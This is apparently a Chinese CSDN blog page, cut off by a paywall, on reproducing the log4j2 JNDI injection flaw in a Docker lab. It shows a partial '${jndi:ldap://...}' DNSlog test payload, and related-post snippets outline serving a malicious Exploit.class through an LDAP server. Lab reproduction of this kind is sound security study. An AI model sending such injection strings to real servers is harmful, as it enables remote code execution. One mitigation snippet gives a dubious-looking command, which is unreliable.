CVE-2021-22448（log4j2） 漏洞复现

最新推荐文章于 2024-03-08 11:09:44 发布
最新推荐文章于 2024-03-08 11:09:44 发布
阅读量333 收藏
点赞数
文章标签： 安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Ethan_cfq/article/details/124115707
版权

作者严正声明！！！
作者严正声明！！！
作者严正声明！！！
【**********************************************************************************
以下环境是docker搭建的靶场学习环境，禁止在互联网中操作，若在互联网中操作导致的后果与作者无关，
************************************************************************************]
部署log4j环境

拉取镜像，并开启漏洞环境

docker-compose up -d
请添加图片描述查看是否可正常访问部署环境
在这里插入图片描述登录www.dnslog.com

获取一个dnslog解析域名
在这里插入图片描述构造payload=${jndi:ldap://qwlsyd.dnsl

最低0.47元/天 解锁文章
十八～闲客
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Log4j CVE-2021-44228 漏洞及Spring Boot解决方案
oscar999的专栏
12-17 2032
Log4j 的2 到 2.14 版本最近爆出了一个比较大的漏洞，漏洞编号是CVE-2021-44228。本篇对该漏洞进行简单介绍， 并介绍Spring Boot项目如何解决该漏洞。
Log4j2漏洞复现
weixin_51519028的博客
08-12 1万+
Apache Log4j2是 Apache软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。2021 年 12 月 9 日晚，Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用${}......
log4j2远程代码执行漏洞复现
最新发布
jsxztshaohaibo的博客
03-08 869
4. 启动一个http服务，配置使其可以访问上一步生成的.class文件，能使用http://127.0.0.1:4444/Exploit.class访问即可，注意4444是作者启动的http服务端口，可以根据自己情况修改，这个URL在下面会用到。上面命令中的http://127.0.0.1:4444/#Exploit是第四步中的地址，根据自己的情况可自行修改，1389是ladp服务默认端口，无需修改。切换到ldap服务的控制台，可以看到日志，说明登录接口中的log4j已经访问ladp服务了。
log4j2漏洞复现
weixin_51681694的博客
05-10 828
apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程，受影响地版本中纯在JNDI注入漏洞，导致日志在记录用户输入地数据时，触发了注入漏洞，该漏洞可导致远程代码执行，且利用条件低，影响范围广，小到网站，大到可联网的车都受影响，建议使用了相关版本的应用或者插件，尽快升级修补，做好相关方措施，避免造成不必要的损失受影响的组件。
Apache Log4j2远程代码执行漏洞复现
weixin_42345596的博客
12-10 8187
漏洞原理 log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。 影响版本 Log4j2.x<=2.14.1 漏洞复现 漏洞分析的可以参考逐日实验室的这篇：https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ 准备环境 把受影响的jar包拖进随手创建的一个java项目，这里部署jar包步骤就不写了，网上一搜傻瓜式教程都有。 攻击机环境搭建，这里我用的vps（师兄的，因为我的是Windows。）jdk版本最好&
log4j2漏洞简单复现
BING
06-06 2972
log4j2漏洞简单复现
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
Java 6 将 log4j 升级到 2.3.2 版本，Java 7 将 log4j 升级到 2.12.4 版本，Java 8 或更高版本将 log4j 升级到 2.17.1 版本
CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975
04-06
CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考： 博客 例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
Log4j2漏洞复现（CVE-2021-44228）
热门推荐
qq_43798640的博客
12-15 3万+
Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4...
apache log4j CVE-2021-44228漏洞怎么解决
06-03
漏洞描述： Apache Log4j 2.x中存在一种命令注入漏洞，攻击者通过构造恶意日志信息，可以在目标服务器上执行任意命令。 解决办法： 1.升级到最新版本 Apache Log4j 2.x发布了修复此漏洞的版本2.17.0，建议用户尽快升级到该版本。 2.使用安全策略文件 在升级之前，可以通过使用安全策略文件来限制日志信息中使用的类和方法，以减少攻击面。可以使用以下命令生成策略文件： ``` java -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true -Dlog4j2.benchMillis=100 org.apache.logging.log4j.core.tools.GenerateExtendedLoggerInfo > log4j2-enum-class-loader.policy ``` 然后将策略文件放置在类路径下，例如在Tomcat中，可以将其放置在`$CATALINA_BASE/conf`目录下。 3.禁用Log4j JNDI Lookup功能 如果无法立即升级，可以通过在JVM参数中添加以下选项来禁用Log4j JNDI Lookup功能： ``` -Dlog4j2.formatMsgNoLookups=true ``` 或者在log4j2.xml配置文件中添加以下选项： ``` <Configuration> <properties> <property name="log4j2.formatMsgNoLookups">true</property> </properties> ... </Configuration> ``` 以上是针对Apache Log4j 2.x的解决办法，如果您使用的是其他版本的Log4j，请查看厂商的官方文档或者联系技术支持获取解决办法。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值